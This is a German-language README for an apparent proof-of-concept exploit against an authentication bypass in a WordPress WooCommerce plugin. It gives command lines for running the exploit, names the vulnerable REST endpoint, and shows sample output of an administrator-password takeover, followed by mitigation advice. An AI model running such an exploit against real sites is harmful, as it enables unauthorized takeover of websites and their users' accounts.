WordPress - Hippoo Mobile App für WooCommerce <= 1.9.4 - Authentifizierungsumgehung zur Admin-Konto-Übernahme

Übersicht

Dieses Tool ist ein Proof-of-Concept-Exploit für CVE-2026-10580, eine Authentifizierungsumgehungs-Schwachstelle, die das Hippoo Mobile App für WooCommerce WordPress-Plugin (Versionen <= 1.9.4) betrifft. Die Schwachstelle ermöglicht es nicht authentifizierten Angreifern, das Passwort eines beliebigen Benutzers, einschließlich Administratoren, zurückzusetzen, was zur vollständigen Übernahme der Website führt.

⚠️ Wichtig: Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal.

Funktionen

• Ermittelt alle WordPress-Benutzer über den anfälligen REST-API-Endpunkt
• Setzt das Passwort für eine bestimmte Benutzer-ID zurück (Standard: Admin-ID 1)
• Einfache Befehlszeilenschnittstelle mit farbiger Ausgabe
• Option zur Deaktivierung der SSL-Überprüfung für Testumgebungen

Verwendung

Voraussetzungen

• Python 3.6+
• requests Bibliothek

Abhängigkeiten installieren:

pip install requests

Grundlegender Befehl

python3 exploit.py -t https://target-site.com -p NewPassword123!

Optionen

Beispiele

Exploit mit Standard-Admin-ID (1) und SSL-Überprüfung:

python3 exploit.py -t https://example.com -p PwnedCVE2026!!

Bestimmte Benutzer-ID anvisieren und SSL-Überprüfung deaktivieren:

python3 exploit.py -t https://example.com -p NewPass123 -i 2 -k

Ohne Banner ausführen:

python3 exploit.py -t https://example.com -p NewPass123 --no-banner

Beispielausgabe

[+] Found 3 user(s)
    - User ID: 1 | Username: admin | Role: administrator
    - User ID: 2 | Username: editor_user | Role: editor
    - User ID: 3 | Username: subscriber1 | Role: subscriber

╔══════════════════════════════════════════════════════════════╗
║             ADMIN TAKEOVER SUCCESSFUL                        ║
╚══════════════════════════════════════════════════════════════╝
    Target: https://example.com
    Login: https://example.com/wp-admin
    Username: admin
    Password: PwnedCVE2026!!

Gegenmaßnahmen

Wenn Sie das Hippoo-Plugin verwenden, aktualisieren Sie es sofort auf eine gepatchte Version (>1.9.4). Zusätzlich:

• Überprüfen Sie regelmäßig Benutzerkonten auf unbefugte Änderungen
• Überwachen Sie Protokolle auf unerwartete API-Anfragen an /wp-json/wc-hippoo/v1/ext/wp/v2/users
• Erwägen Sie die Einschränkung des Zugriffs auf die WordPress-REST-API, falls nicht erforderlich

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe LICENSE Datei für Details.

Autor

0xgh057r3c0n

Haftungsausschluss

Der Autor ist nicht verantwortlich für jeglichen Missbrauch dieses Tools. Verwenden Sie es verantwortungsbewusst und nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Erlaubnis zum Testen haben.